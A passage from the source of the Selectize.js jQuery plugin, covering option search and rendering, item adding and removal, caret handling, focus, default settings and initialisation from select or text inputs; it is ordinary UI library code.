		selectAll: function() {
			var self = this;
			if (self.settings.mode === 'single') return;

			self.$activeItems = Array.prototype.slice.apply(self.$control.children(':not(input)').addClass('active'));
			if (self.$activeItems.length) {
				self.hideInput();
				self.close();
			}
			self.focus();
		},

		/**
		 * Hides the input element out of view, while
		 * retaining its focus.
		 */
		hideInput: function() {
			var self = this;

			self.setTextboxValue('');
			self.$control_input.css({opacity: 0, position: 'absolute', left: self.rtl ? 10000 : -10000});
			self.isInputHidden = true;
		},

		/**
		 * Restores input visibility.
		 */
		showInput: function() {
			this.$control_input.css({opacity: 1, position: 'relative', left: 0});
			this.isInputHidden = false;
		},

		/**
		 * Gives the control focus.
		 */
		focus: function() {
			var self = this;
			if (self.isDisabled) return;

			self.ignoreFocus = true;
			self.$control_input[0].focus();
			window.setTimeout(function() {
				self.ignoreFocus = false;
				self.onFocus();
			}, 0);
		},

		/**
		 * Forces the control out of focus.
		 *
		 * @param {Element} dest
		 */
		blur: function(dest) {
			this.$control_input[0].blur();
			this.onBlur(null, dest);
		},

		/**
		 * Returns a function that scores an object
		 * to show how good of a match it is to the
		 * provided query.
		 *
		 * @param {string} query
		 * @param {object} options
		 * @return {function}
		 */
		getScoreFunction: function(query) {
			return this.sifter.getScoreFunction(query, this.getSearchOptions());
		},

		/**
		 * Returns search options for sifter (the system
		 * for scoring and sorting results).
		 *
		 * @see https://github.com/brianreavis/sifter.js
		 * @return {object}
		 */
		getSearchOptions: function() {
			var settings = this.settings;
			var sort = settings.sortField;
			if (typeof sort === 'string') {
				sort = [{field: sort}];
			}

			return {
				fields      : settings.searchField,
				conjunction : settings.searchConjunction,
				sort        : sort
			};
		},

		/**
		 * Searches through available options and returns
		 * a sorted array of matches.
		 *
		 * Returns an object containing:
		 *
		 *   - query {string}
		 *   - tokens {array}
		 *   - total {int}
		 *   - items {array}
		 *
		 * @param {string} query
		 * @returns {object}
		 */
		search: function(query) {
			var i, value, score, result, calculateScore;
			var self     = this;
			var settings = self.settings;
			var options  = this.getSearchOptions();

			// validate user-provided result scoring function
			if (settings.score) {
				calculateScore = self.settings.score.apply(this, [query]);
				if (typeof calculateScore !== 'function') {
					throw new Error('Selectize "score" setting must be a function that returns a function');
				}
			}

			// perform search
			if (query !== self.lastQuery) {
				self.lastQuery = query;
				result = self.sifter.search(query, $.extend(options, {score: calculateScore}));
				self.currentResults = result;
			} else {
				result = $.extend(true, {}, self.currentResults);
			}

			// filter out selected items
			if (settings.hideSelected) {
				for (i = result.items.length - 1; i >= 0; i--) {
					if (self.items.indexOf(hash_key(result.items[i].id)) !== -1) {
						result.items.splice(i, 1);
					}
				}
			}

			return result;
		},

		/**
		 * Refreshes the list of available options shown
		 * in the autocomplete dropdown menu.
		 *
		 * @param {boolean} triggerDropdown
		 */
		refreshOptions: function(triggerDropdown) {
			var i, j, k, n, groups, groups_order, option, option_html, optgroup, optgroups, html, html_children, has_create_option;
			var $active, $active_before, $create;

			if (typeof triggerDropdown === 'undefined') {
				triggerDropdown = true;
			}

			var self              = this;
			var query             = $.trim(self.$control_input.val());
			var results           = self.search(query);
			var $dropdown_content = self.$dropdown_content;
			var active_before     = self.$activeOption && hash_key(self.$activeOption.attr('data-value'));

			// build markup
			n = results.items.length;
			if (typeof self.settings.maxOptions === 'number') {
				n = Math.min(n, self.settings.maxOptions);
			}

			// render and group available options individually
			groups = {};
			groups_order = [];

			for (i = 0; i < n; i++) {
				option      = self.options[results.items[i].id];
				option_html = self.render('option', option);
				optgroup    = option[self.settings.optgroupField] || '';
				optgroups   = $.isArray(optgroup) ? optgroup : [optgroup];

				$(option_html).removeClass('selected');

				for (j = 0, k = optgroups && optgroups.length; j < k; j++) {
					optgroup = optgroups[j];
					if (!self.optgroups.hasOwnProperty(optgroup)) {
						optgroup = '';
					}
					if (!groups.hasOwnProperty(optgroup)) {
						groups[optgroup] = document.createDocumentFragment();
						groups_order.push(optgroup);
					}
					groups[optgroup].appendChild(option_html);
				}
			}

			// sort optgroups
			if (this.settings.lockOptgroupOrder) {
				groups_order.sort(function(a, b) {
					var a_order = self.optgroups[a].$order || 0;
					var b_order = self.optgroups[b].$order || 0;
					return a_order - b_order;
				});
			}

			// render optgroup headers & join groups
			html = document.createDocumentFragment();
			for (i = 0, n = groups_order.length; i < n; i++) {
				optgroup = groups_order[i];
				if (self.optgroups.hasOwnProperty(optgroup) && groups[optgroup].childNodes.length) {
					// render the optgroup header and options within it,
					// then pass it to the wrapper template
					html_children = document.createDocumentFragment();
					html_children.appendChild(self.render('optgroup_header', self.optgroups[optgroup]));
					html_children.appendChild(groups[optgroup]);

					html.appendChild(self.render('optgroup', $.extend({}, self.optgroups[optgroup], {
						html: domToString(html_children),
						dom:  html_children
					})));
				} else {
					html.appendChild(groups[optgroup]);
				}
			}

			$dropdown_content.html(html);

			// highlight matching terms inline
			if (self.settings.highlight && results.query.length && results.tokens.length) {
				for (i = 0, n = results.tokens.length; i < n; i++) {
					highlight($dropdown_content, results.tokens[i].regex);
				}
			}

			// add "selected" class to selected options
			if (!self.settings.hideSelected) {
				for (i = 0, n = self.items.length; i < n; i++) {
					self.getOption(self.items[i]).addClass('selected');
				}
			}

			// add create option
			has_create_option = self.canCreate(query);
			if (has_create_option) {
				$dropdown_content.prepend(self.render('option_create', {input: query}));
				$create = $($dropdown_content[0].childNodes[0]);
			}

			// activate
			self.hasOptions = results.items.length > 0 || has_create_option;
			if (self.hasOptions) {
				if (results.items.length > 0) {
					$active_before = active_before && self.getOption(active_before);
					if ($active_before && $active_before.length) {
						$active = $active_before;
					} else if (self.settings.mode === 'single' && self.items.length) {
						$active = self.getOption(self.items[0]);
					}
					if (!$active || !$active.length) {
						if ($create && !self.settings.addPrecedence) {
							$active = self.getAdjacentOption($create, 1);
						} else {
							$active = $dropdown_content.find('[data-selectable]:first');
						}
					}
				} else {
					$active = $create;
				}
				self.setActiveOption($active);
				if (triggerDropdown && !self.isOpen) { self.open(); }
			} else {
				self.setActiveOption(null);
				if (triggerDropdown && self.isOpen) { self.close(); }
			}
		},

		/**
		 * Adds an available option. If it already exists,
		 * nothing will happen. Note: this does not refresh
		 * the options list dropdown (use `refreshOptions`
		 * for that).
		 *
		 * Usage:
		 *
		 *   this.addOption(data)
		 *
		 * @param {object|array} data
		 */
		addOption: function(data) {
			var i, n, value, self = this;

			if ($.isArray(data)) {
				for (i = 0, n = data.length; i < n; i++) {
					self.addOption(data[i]);
				}
				return;
			}

			if (value = self.registerOption(data)) {
				self.userOptions[value] = true;
				self.lastQuery = null;
				self.trigger('option_add', value, data);
			}
		},

		/**
		 * Registers an option to the pool of options.
		 *
		 * @param {object} data
		 * @return {boolean|string}
		 */
		registerOption: function(data) {
			var key = hash_key(data[this.settings.valueField]);
			if (typeof key === 'undefined' || key === null || this.options.hasOwnProperty(key)) return false;
			data.$order = data.$order || ++this.order;
			this.options[key] = data;
			return key;
		},

		/**
		 * Registers an option group to the pool of option groups.
		 *
		 * @param {object} data
		 * @return {boolean|string}
		 */
		registerOptionGroup: function(data) {
			var key = hash_key(data[this.settings.optgroupValueField]);
			if (!key) return false;

			data.$order = data.$order || ++this.order;
			this.optgroups[key] = data;
			return key;
		},

		/**
		 * Registers a new optgroup for options
		 * to be bucketed into.
		 *
		 * @param {string} id
		 * @param {object} data
		 */
		addOptionGroup: function(id, data) {
			data[this.settings.optgroupValueField] = id;
			if (id = this.registerOptionGroup(data)) {
				this.trigger('optgroup_add', id, data);
			}
		},

		/**
		 * Removes an existing option group.
		 *
		 * @param {string} id
		 */
		removeOptionGroup: function(id) {
			if (this.optgroups.hasOwnProperty(id)) {
				delete this.optgroups[id];
				this.renderCache = {};
				this.trigger('optgroup_remove', id);
			}
		},

		/**
		 * Clears all existing option groups.
		 */
		clearOptionGroups: function() {
			this.optgroups = {};
			this.renderCache = {};
			this.trigger('optgroup_clear');
		},

		/**
		 * Updates an option available for selection. If
		 * it is visible in the selected items or options
		 * dropdown, it will be re-rendered automatically.
		 *
		 * @param {string} value
		 * @param {object} data
		 */
		updateOption: function(value, data) {
			var self = this;
			var $item, $item_new;
			var value_new, index_item, cache_items, cache_options, order_old;

			value     = hash_key(value);
			value_new = hash_key(data[self.settings.valueField]);

			// sanity checks
			if (value === null) return;
			if (!self.options.hasOwnProperty(value)) return;
			if (typeof value_new !== 'string') throw new Error('Value must be set in option data');

			order_old = self.options[value].$order;

			// update references
			if (value_new !== value) {
				delete self.options[value];
				index_item = self.items.indexOf(value);
				if (index_item !== -1) {
					self.items.splice(index_item, 1, value_new);
				}
			}
			data.$order = data.$order || order_old;
			self.options[value_new] = data;

			// invalidate render cache
			cache_items = self.renderCache['item'];
			cache_options = self.renderCache['option'];

			if (cache_items) {
				delete cache_items[value];
				delete cache_items[value_new];
			}
			if (cache_options) {
				delete cache_options[value];
				delete cache_options[value_new];
			}

			// update the item if it's selected
			if (self.items.indexOf(value_new) !== -1) {
				$item = self.getItem(value);
				$item_new = $(self.render('item', data));
				if ($item.hasClass('active')) $item_new.addClass('active');
				$item.replaceWith($item_new);
			}

			// invalidate last query because we might have updated the sortField
			self.lastQuery = null;

			// update dropdown contents
			if (self.isOpen) {
				self.refreshOptions(false);
			}
		},

		/**
		 * Removes a single option.
		 *
		 * @param {string} value
		 * @param {boolean} silent
		 */
		removeOption: function(value, silent) {
			var self = this;
			value = hash_key(value);

			var cache_items = self.renderCache['item'];
			var cache_options = self.renderCache['option'];
			if (cache_items) delete cache_items[value];
			if (cache_options) delete cache_options[value];

			delete self.userOptions[value];
			delete self.options[value];
			self.lastQuery = null;
			self.trigger('option_remove', value);
			self.removeItem(value, silent);
		},

		/**
		 * Clears all options.
		 */
		clearOptions: function() {
			var self = this;

			self.loadedSearches = {};
			self.userOptions = {};
			self.renderCache = {};
			self.options = self.sifter.items = {};
			self.lastQuery = null;
			self.trigger('option_clear');
			self.clear();
		},

		/**
		 * Returns the jQuery element of the option
		 * matching the given value.
		 *
		 * @param {string} value
		 * @returns {object}
		 */
		getOption: function(value) {
			return this.getElementWithValue(value, this.$dropdown_content.find('[data-selectable]'));
		},

		/**
		 * Returns the jQuery element of the next or
		 * previous selectable option.
		 *
		 * @param {object} $option
		 * @param {int} direction  can be 1 for next or -1 for previous
		 * @return {object}
		 */
		getAdjacentOption: function($option, direction) {
			var $options = this.$dropdown.find('[data-selectable]');
			var index    = $options.index($option) + direction;

			return index >= 0 && index < $options.length ? $options.eq(index) : $();
		},

		/**
		 * Finds the first element with a "data-value" attribute
		 * that matches the given value.
		 *
		 * @param {mixed} value
		 * @param {object} $els
		 * @return {object}
		 */
		getElementWithValue: function(value, $els) {
			value = hash_key(value);

			if (typeof value !== 'undefined' && value !== null) {
				for (var i = 0, n = $els.length; i < n; i++) {
					if ($els[i].getAttribute('data-value') === value) {
						return $($els[i]);
					}
				}
			}

			return $();
		},

		/**
		 * Returns the jQuery element of the item
		 * matching the given value.
		 *
		 * @param {string} value
		 * @returns {object}
		 */
		getItem: function(value) {
			return this.getElementWithValue(value, this.$control.children());
		},

		/**
		 * "Selects" multiple items at once. Adds them to the list
		 * at the current caret position.
		 *
		 * @param {string} value
		 * @param {boolean} silent
		 */
		addItems: function(values, silent) {
			var items = $.isArray(values) ? values : [values];
			for (var i = 0, n = items.length; i < n; i++) {
				this.isPending = (i < n - 1);
				this.addItem(items[i], silent);
			}
		},

		/**
		 * "Selects" an item. Adds it to the list
		 * at the current caret position.
		 *
		 * @param {string} value
		 * @param {boolean} silent
		 */
		addItem: function(value, silent) {
			var events = silent ? [] : ['change'];

			debounce_events(this, events, function() {
				var $item, $option, $options;
				var self = this;
				var inputMode = self.settings.mode;
				var i, active, value_next, wasFull;
				value = hash_key(value);

				if (self.items.indexOf(value) !== -1) {
					if (inputMode === 'single') self.close();
					return;
				}

				if (!self.options.hasOwnProperty(value)) return;
				if (inputMode === 'single') self.clear(silent);
				if (inputMode === 'multi' && self.isFull()) return;

				$item = $(self.render('item', self.options[value]));
				wasFull = self.isFull();
				self.items.splice(self.caretPos, 0, value);
				self.insertAtCaret($item);
				if (!self.isPending || (!wasFull && self.isFull())) {
					self.refreshState();
				}

				if (self.isSetup) {
					$options = self.$dropdown_content.find('[data-selectable]');

					// update menu / remove the option (if this is not one item being added as part of series)
					if (!self.isPending) {
						$option = self.getOption(value);
						value_next = self.getAdjacentOption($option, 1).attr('data-value');
						self.refreshOptions(self.isFocused && inputMode !== 'single');
						if (value_next) {
							self.setActiveOption(self.getOption(value_next));
						}
					}

					// hide the menu if the maximum number of items have been selected or no options are left
					if (!$options.length || self.isFull()) {
						self.close();
					} else {
						self.positionDropdown();
					}

					self.updatePlaceholder();
					self.trigger('item_add', value, $item);
					self.updateOriginalInput({silent: silent});
				}
			});
		},

		/**
		 * Removes the selected item matching
		 * the provided value.
		 *
		 * @param {string} value
		 */
		removeItem: function(value, silent) {
			var self = this;
			var $item, i, idx;

			$item = (value instanceof $) ? value : self.getItem(value);
			value = hash_key($item.attr('data-value'));
			i = self.items.indexOf(value);

			if (i !== -1) {
				$item.remove();
				if ($item.hasClass('active')) {
					idx = self.$activeItems.indexOf($item[0]);
					self.$activeItems.splice(idx, 1);
				}

				self.items.splice(i, 1);
				self.lastQuery = null;
				if (!self.settings.persist && self.userOptions.hasOwnProperty(value)) {
					self.removeOption(value, silent);
				}

				if (i < self.caretPos) {
					self.setCaret(self.caretPos - 1);
				}

				self.refreshState();
				self.updatePlaceholder();
				self.updateOriginalInput({silent: silent});
				self.positionDropdown();
				self.trigger('item_remove', value, $item);
			}
		},

		/**
		 * Invokes the `create` method provided in the
		 * selectize options that should provide the data
		 * for the new item, given the user input.
		 *
		 * Once this completes, it will be added
		 * to the item list.
		 *
		 * @param {string} value
		 * @param {boolean} [triggerDropdown]
		 * @param {function} [callback]
		 * @return {boolean}
		 */
		createItem: function(input, triggerDropdown) {
			var self  = this;
			var caret = self.caretPos;
			input = input || $.trim(self.$control_input.val() || '');

			var callback = arguments[arguments.length - 1];
			if (typeof callback !== 'function') callback = function() {};

			if (typeof triggerDropdown !== 'boolean') {
				triggerDropdown = true;
			}

			if (!self.canCreate(input)) {
				callback();
				return false;
			}

			self.lock();

			var setup = (typeof self.settings.create === 'function') ? this.settings.create : function(input) {
				var data = {};
				data[self.settings.labelField] = input;
				data[self.settings.valueField] = input;
				return data;
			};

			var create = once(function(data) {
				self.unlock();

				if (!data || typeof data !== 'object') return callback();
				var value = hash_key(data[self.settings.valueField]);
				if (typeof value !== 'string') return callback();

				self.setTextboxValue('');
				self.addOption(data);
				self.setCaret(caret);
				self.addItem(value);
				self.refreshOptions(triggerDropdown && self.settings.mode !== 'single');
				callback(data);
			});

			var output = setup.apply(this, [input, create]);
			if (typeof output !== 'undefined') {
				create(output);
			}

			return true;
		},

		/**
		 * Re-renders the selected item lists.
		 */
		refreshItems: function() {
			this.lastQuery = null;

			if (this.isSetup) {
				this.addItem(this.items);
			}

			this.refreshState();
			this.updateOriginalInput();
		},

		/**
		 * Updates all state-dependent attributes
		 * and CSS classes.
		 */
		refreshState: function() {
			var invalid, self = this;
			if (self.isRequired) {
				if (self.items.length) self.isInvalid = false;
				self.$control_input.prop('required', invalid);
			}
			self.refreshClasses();
		},

		/**
		 * Updates all state-dependent CSS classes.
		 */
		refreshClasses: function() {
			var self     = this;
			var isFull   = self.isFull();
			var isLocked = self.isLocked;

			self.$wrapper
					.toggleClass('rtl', self.rtl);

			self.$control
					.toggleClass('focus', self.isFocused)
					.toggleClass('disabled', self.isDisabled)
					.toggleClass('required', self.isRequired)
					.toggleClass('invalid', self.isInvalid)
					.toggleClass('locked', isLocked)
					.toggleClass('full', isFull).toggleClass('not-full', !isFull)
					.toggleClass('input-active', self.isFocused && !self.isInputHidden)
					.toggleClass('dropdown-active', self.isOpen)
					.toggleClass('has-options', !$.isEmptyObject(self.options))
					.toggleClass('has-items', self.items.length > 0);

			self.$control_input.data('grow', !isFull && !isLocked);
		},

		/**
		 * Determines whether or not more items can be added
		 * to the control without exceeding the user-defined maximum.
		 *
		 * @returns {boolean}
		 */
		isFull: function() {
			return this.settings.maxItems !== null && this.items.length >= this.settings.maxItems;
		},

		/**
		 * Refreshes the original <select> or <input>
		 * element to reflect the current state.
		 */
		updateOriginalInput: function(opts) {
			var i, n, options, label, self = this;
			opts = opts || {};

			if (self.tagType === TAG_SELECT) {
				options = [];
				for (i = 0, n = self.items.length; i < n; i++) {
					label = self.options[self.items[i]][self.settings.labelField] || '';
					options.push('<option value="' + escape_html(self.items[i]) + '" selected="selected">' + escape_html(label) + '</option>');
				}
				if (!options.length && !this.$input.attr('multiple')) {
					options.push('<option value="" selected="selected"></option>');
				}
				self.$input.html(options.join(''));
			} else {
				self.$input.val(self.getValue());
				self.$input.attr('value',self.$input.val());
			}

			if (self.isSetup) {
				if (!opts.silent) {
					self.trigger('change', self.$input.val());
				}
			}
		},

		/**
		 * Shows/hide the input placeholder depending
		 * on if there items in the list already.
		 */
		updatePlaceholder: function() {
			if (!this.settings.placeholder) return;
			var $input = this.$control_input;

			if (this.items.length) {
				$input.removeAttr('placeholder');
			} else {
				$input.attr('placeholder', this.settings.placeholder);
			}
			$input.triggerHandler('update', {force: true});
		},

		/**
		 * Shows the autocomplete dropdown containing
		 * the available options.
		 */
		open: function() {
			var self = this;

			if (self.isLocked || self.isOpen || (self.settings.mode === 'multi' && self.isFull())) return;
			self.focus();
			self.isOpen = true;
			self.refreshState();
			self.$dropdown.css({visibility: 'hidden', display: 'block'});
			self.positionDropdown();
			self.$dropdown.css({visibility: 'visible'});
			self.trigger('dropdown_open', self.$dropdown);
		},

		/**
		 * Closes the autocomplete dropdown menu.
		 */
		close: function() {
			var self = this;
			var trigger = self.isOpen;

			if (self.settings.mode === 'single' && self.items.length) {
				self.hideInput();
			}

			self.isOpen = false;
			self.$dropdown.hide();
			self.setActiveOption(null);
			self.refreshState();

			if (trigger) self.trigger('dropdown_close', self.$dropdown);
		},

		/**
		 * Calculates and applies the appropriate
		 * position of the dropdown.
		 */
		positionDropdown: function() {
			var $control = this.$control;
			var offset = this.settings.dropdownParent === 'body' ? $control.offset() : $control.position();
			offset.top += $control.outerHeight(true);

			this.$dropdown.css({
				width : $control.outerWidth(),
				top   : offset.top,
				left  : offset.left
			});
		},

		/**
		 * Resets / clears all selected items
		 * from the control.
		 *
		 * @param {boolean} silent
		 */
		clear: function(silent) {
			var self = this;

			if (!self.items.length) return;
			self.$control.children(':not(input)').remove();
			self.items = [];
			self.lastQuery = null;
			self.setCaret(0);
			self.setActiveItem(null);
			self.updatePlaceholder();
			self.updateOriginalInput({silent: silent});
			self.refreshState();
			self.showInput();
			self.trigger('clear');
		},

		/**
		 * A helper method for inserting an element
		 * at the current caret position.
		 *
		 * @param {object} $el
		 */
		insertAtCaret: function($el) {
			var caret = Math.min(this.caretPos, this.items.length);
			if (caret === 0) {
				this.$control.prepend($el);
			} else {
				$(this.$control[0].childNodes[caret]).before($el);
			}
			this.setCaret(caret + 1);
		},

		/**
		 * Removes the current selected item(s).
		 *
		 * @param {object} e (optional)
		 * @returns {boolean}
		 */
		deleteSelection: function(e) {
			var i, n, direction, selection, values, caret, option_select, $option_select, $tail;
			var self = this;

			direction = (e && e.keyCode === KEY_BACKSPACE) ? -1 : 1;
			selection = getSelection(self.$control_input[0]);

			if (self.$activeOption && !self.settings.hideSelected) {
				option_select = self.getAdjacentOption(self.$activeOption, -1).attr('data-value');
			}

			// determine items that will be removed
			values = [];

			if (self.$activeItems.length) {
				$tail = self.$control.children('.active:' + (direction > 0 ? 'last' : 'first'));
				caret = self.$control.children(':not(input)').index($tail);
				if (direction > 0) { caret++; }

				for (i = 0, n = self.$activeItems.length; i < n; i++) {
					values.push($(self.$activeItems[i]).attr('data-value'));
				}
				if (e) {
					e.preventDefault();
					e.stopPropagation();
				}
			} else if ((self.isFocused || self.settings.mode === 'single') && self.items.length) {
				if (direction < 0 && selection.start === 0 && selection.length === 0) {
					values.push(self.items[self.caretPos - 1]);
				} else if (direction > 0 && selection.start === self.$control_input.val().length) {
					values.push(self.items[self.caretPos]);
				}
			}

			// allow the callback to abort
			if (!values.length || (typeof self.settings.onDelete === 'function' && self.settings.onDelete.apply(self, [values]) === false)) {
				return false;
			}

			// perform removal
			if (typeof caret !== 'undefined') {
				self.setCaret(caret);
			}
			while (values.length) {
				self.removeItem(values.pop());
			}

			self.showInput();
			self.positionDropdown();
			self.refreshOptions(true);

			// select previous option
			if (option_select) {
				$option_select = self.getOption(option_select);
				if ($option_select.length) {
					self.setActiveOption($option_select);
				}
			}

			return true;
		},

		/**
		 * Selects the previous / next item (depending
		 * on the `direction` argument).
		 *
		 * > 0 - right
		 * < 0 - left
		 *
		 * @param {int} direction
		 * @param {object} e (optional)
		 */
		advanceSelection: function(direction, e) {
			var tail, selection, idx, valueLength, cursorAtEdge, $tail;
			var self = this;

			if (direction === 0) return;
			if (self.rtl) direction *= -1;

			tail = direction > 0 ? 'last' : 'first';
			selection = getSelection(self.$control_input[0]);

			if (self.isFocused && !self.isInputHidden) {
				valueLength = self.$control_input.val().length;
				cursorAtEdge = direction < 0
						? selection.start === 0 && selection.length === 0
						: selection.start === valueLength;

				if (cursorAtEdge && !valueLength) {
					self.advanceCaret(direction, e);
				}
			} else {
				$tail = self.$control.children('.active:' + tail);
				if ($tail.length) {
					idx = self.$control.children(':not(input)').index($tail);
					self.setActiveItem(null);
					self.setCaret(direction > 0 ? idx + 1 : idx);
				}
			}
		},

		/**
		 * Moves the caret left / right.
		 *
		 * @param {int} direction
		 * @param {object} e (optional)
		 */
		advanceCaret: function(direction, e) {
			var self = this, fn, $adj;

			if (direction === 0) return;

			fn = direction > 0 ? 'next' : 'prev';
			if (self.isShiftDown) {
				$adj = self.$control_input[fn]();
				if ($adj.length) {
					self.hideInput();
					self.setActiveItem($adj);
					e && e.preventDefault();
				}
			} else {
				self.setCaret(self.caretPos + direction);
			}
		},

		/**
		 * Moves the caret to the specified index.
		 *
		 * @param {int} i
		 */
		setCaret: function(i) {
			var self = this;

			if (self.settings.mode === 'single') {
				i = self.items.length;
			} else {
				i = Math.max(0, Math.min(self.items.length, i));
			}

			if(!self.isPending) {
				// the input must be moved by leaving it in place and moving the
				// siblings, due to the fact that focus cannot be restored once lost
				// on mobile webkit devices
				var j, n, fn, $children, $child;
				$children = self.$control.children(':not(input)');
				for (j = 0, n = $children.length; j < n; j++) {
					$child = $($children[j]).detach();
					if (j <  i) {
						self.$control_input.before($child);
					} else {
						self.$control.append($child);
					}
				}
			}

			self.caretPos = i;
		},

		/**
		 * Disables user input on the control. Used while
		 * items are being asynchronously created.
		 */
		lock: function() {
			this.close();
			this.isLocked = true;
			this.refreshState();
		},

		/**
		 * Re-enables user input on the control.
		 */
		unlock: function() {
			this.isLocked = false;
			this.refreshState();
		},

		/**
		 * Disables user input on the control completely.
		 * While disabled, it cannot receive focus.
		 */
		disable: function() {
			var self = this;
			self.$input.prop('disabled', true);
			self.$control_input.prop('disabled', true).prop('tabindex', -1);
			self.isDisabled = true;
			self.lock();
		},

		/**
		 * Enables the control so that it can respond
		 * to focus and user input.
		 */
		enable: function() {
			var self = this;
			self.$input.prop('disabled', false);
			self.$control_input.prop('disabled', false).prop('tabindex', self.tabIndex);
			self.isDisabled = false;
			self.unlock();
		},

		/**
		 * Completely destroys the control and
		 * unbinds all event listeners so that it can
		 * be garbage collected.
		 */
		destroy: function() {
			var self = this;
			var eventNS = self.eventNS;
			var revertSettings = self.revertSettings;

			self.trigger('destroy');
			self.off();
			self.$wrapper.remove();
			self.$dropdown.remove();

			self.$input
					.html('')
					.append(revertSettings.$children)
					.removeAttr('tabindex')
					.removeClass('selectized')
					.attr({tabindex: revertSettings.tabindex})
					.show();

			self.$control_input.removeData('grow');
			self.$input.removeData('selectize');

			$(window).off(eventNS);
			$(document).off(eventNS);
			$(document.body).off(eventNS);

			delete self.$input[0].selectize;
		},

		/**
		 * A helper method for rendering "item" and
		 * "option" templates, given the data.
		 *
		 * @param {string} templateName
		 * @param {object} data
		 * @returns {string}
		 */
		render: function(templateName, data) {
			var value, id, label;
			var html = '';
			var cache = false;
			var self = this;
			var regex_tag = /^[\t \r\n]*<([a-z][a-z0-9\-_]*(?:\:[a-z][a-z0-9\-_]*)?)/i;

			if (templateName === 'option' || templateName === 'item') {
				value = hash_key(data[self.settings.valueField]);
				cache = !!value;
			}

			// pull markup from cache if it exists
			if (cache) {
				if (!isset(self.renderCache[templateName])) {
					self.renderCache[templateName] = {};
				}
				if (self.renderCache[templateName].hasOwnProperty(value)) {
					return self.renderCache[templateName][value];
				}
			}

			// render markup
			html = $(self.settings.render[templateName].apply(this, [data, escape_html]));

			// add mandatory attributes
			if (templateName === 'option' || templateName === 'option_create') {
				html.attr('data-selectable', '');
			}
			else if (templateName === 'optgroup') {
				id = data[self.settings.optgroupValueField] || '';
				html.attr('data-group', id);
			}
			if (templateName === 'option' || templateName === 'item') {
				html.attr('data-value', value || '');
			}

			// update cache
			if (cache) {
				self.renderCache[templateName][value] = html[0];
			}

			return html[0];
		},

		/**
		 * Clears the render cache for a template. If
		 * no template is given, clears all render
		 * caches.
		 *
		 * @param {string} templateName
		 */
		clearCache: function(templateName) {
			var self = this;
			if (typeof templateName === 'undefined') {
				self.renderCache = {};
			} else {
				delete self.renderCache[templateName];
			}
		},

		/**
		 * Determines whether or not to display the
		 * create item prompt, given a user input.
		 *
		 * @param {string} input
		 * @return {boolean}
		 */
		canCreate: function(input) {
			var self = this;
			if (!self.settings.create) return false;
			var filter = self.settings.createFilter;
			return input.length
					&& (typeof filter !== 'function' || filter.apply(self, [input]))
					&& (typeof filter !== 'string' || new RegExp(filter).test(input))
					&& (!(filter instanceof RegExp) || filter.test(input));
		}

	});


	Selectize.count = 0;
	Selectize.defaults = {
		options: [],
		optgroups: [],

		plugins: [],
		delimiter: ',',
		splitOn: null, // regexp or string for splitting up values from a paste command
		persist: true,
		diacritics: true,
		create: false,
		createOnBlur: false,
		createFilter: null,
		highlight: true,
		openOnFocus: true,
		maxOptions: 1000,
		maxItems: null,
		hideSelected: null,
		addPrecedence: false,
		selectOnTab: false,
		preload: false,
		allowEmptyOption: false,
		closeAfterSelect: false,

		scrollDuration: 60,
		loadThrottle: 300,
		loadingClass: 'loading',

		dataAttr: 'data-data',
		optgroupField: 'optgroup',
		valueField: 'value',
		labelField: 'text',
		optgroupLabelField: 'label',
		optgroupValueField: 'value',
		lockOptgroupOrder: false,

		sortField: '$order',
		searchField: ['text'],
		searchConjunction: 'and',

		mode: null,
		wrapperClass: 'selectize-control',
		inputClass: 'selectize-input',
		dropdownClass: 'selectize-dropdown',
		dropdownContentClass: 'selectize-dropdown-content',

		dropdownParent: null,

		copyClassesToDropdown: true,

		/*
		 load                 : null, // function(query, callback) { ... }
		 score                : null, // function(search) { ... }
		 onInitialize         : null, // function() { ... }
		 onChange             : null, // function(value) { ... }
		 onItemAdd            : null, // function(value, $item) { ... }
		 onItemRemove         : null, // function(value) { ... }
		 onClear              : null, // function() { ... }
		 onOptionAdd          : null, // function(value, data) { ... }
		 onOptionRemove       : null, // function(value) { ... }
		 onOptionClear        : null, // function() { ... }
		 onOptionGroupAdd     : null, // function(id, data) { ... }
		 onOptionGroupRemove  : null, // function(id) { ... }
		 onOptionGroupClear   : null, // function() { ... }
		 onDropdownOpen       : null, // function($dropdown) { ... }
		 onDropdownClose      : null, // function($dropdown) { ... }
		 onType               : null, // function(str) { ... }
		 onDelete             : null, // function(values) { ... }
		 */

		render: {
			/*
			 item: null,
			 optgroup: null,
			 optgroup_header: null,
			 option: null,
			 option_create: null
			 */
		}
	};


	$.fn.selectize = function(settings_user) {
		var defaults             = $.fn.selectize.defaults;
		var settings             = $.extend({}, defaults, settings_user);
		var attr_data            = settings.dataAttr;
		var field_label          = settings.labelField;
		var field_value          = settings.valueField;
		var field_optgroup       = settings.optgroupField;
		var field_optgroup_label = settings.optgroupLabelField;
		var field_optgroup_value = settings.optgroupValueField;

		/**
		 * Initializes selectize from a <input type="text"> element.
		 *
		 * @param {object} $input
		 * @param {object} settings_element
		 */
		var init_textbox = function($input, settings_element) {
			var i, n, values, option;

			var data_raw = $input.attr(attr_data);

			if (!data_raw) {
				var value = $.trim($input.val() || '');
				if (!settings.allowEmptyOption && !value.length) return;
				values = value.split(settings.delimiter);
				for (i = 0, n = values.length; i < n; i++) {
					option = {};
					option[field_label] = values[i];
					option[field_value] = values[i];
					settings_element.options.push(option);
				}
				settings_element.items = values;
			} else {
				settings_element.options = JSON.parse(data_raw);
				for (i = 0, n = settings_element.options.length; i < n; i++) {
					settings_element.items.push(settings_element.options[i][field_value]);
				}
			}
		};

		/**
		 * Initializes selectize from a <select> element.
		 *
		 * @param {object} $input
		 * @param {object} settings_element
		 */
		var init_select = function($input, settings_element) {
			var i, n, tagName, $children, order = 0;
			var options = settings_element.options;
			var optionsMap = {};

			var readData = function($el) {
				var data = attr_data && $el.attr(attr_data);
				if (typeof data === 'string' && data.length) {
					return JSON.parse(data);
				}
				return null;
			};

			var addOption = function($option, group) {
				$option = $($option);

				var value = hash_key($option.val());
				if (!value && !settings.allowEmptyOption) return;

				// if the option already exists, it's probably been
				// duplicated in another optgroup. in this case, push
				// the current group to the "optgroup" property on the
				// existing option so that it's rendered in both places.
				if (optionsMap.hasOwnProperty(value)) {
					if (group) {
						var arr = optionsMap[value][field_optgroup];
						if (!arr) {
							optionsMap[value][field_optgroup] = group;
						} else if (!$.isArray(arr)) {
							optionsMap[value][field_optgroup] = [arr, group];
						} else {
							arr.push(group);
						}
					}
					return;
				}

				var option             = readData($option) || {};
				option[field_label]    = option[field_label] || $option.text();
				option[field_value]    = option[field_value] || value;
				option[field_optgroup] = option[field_optgroup] || group;

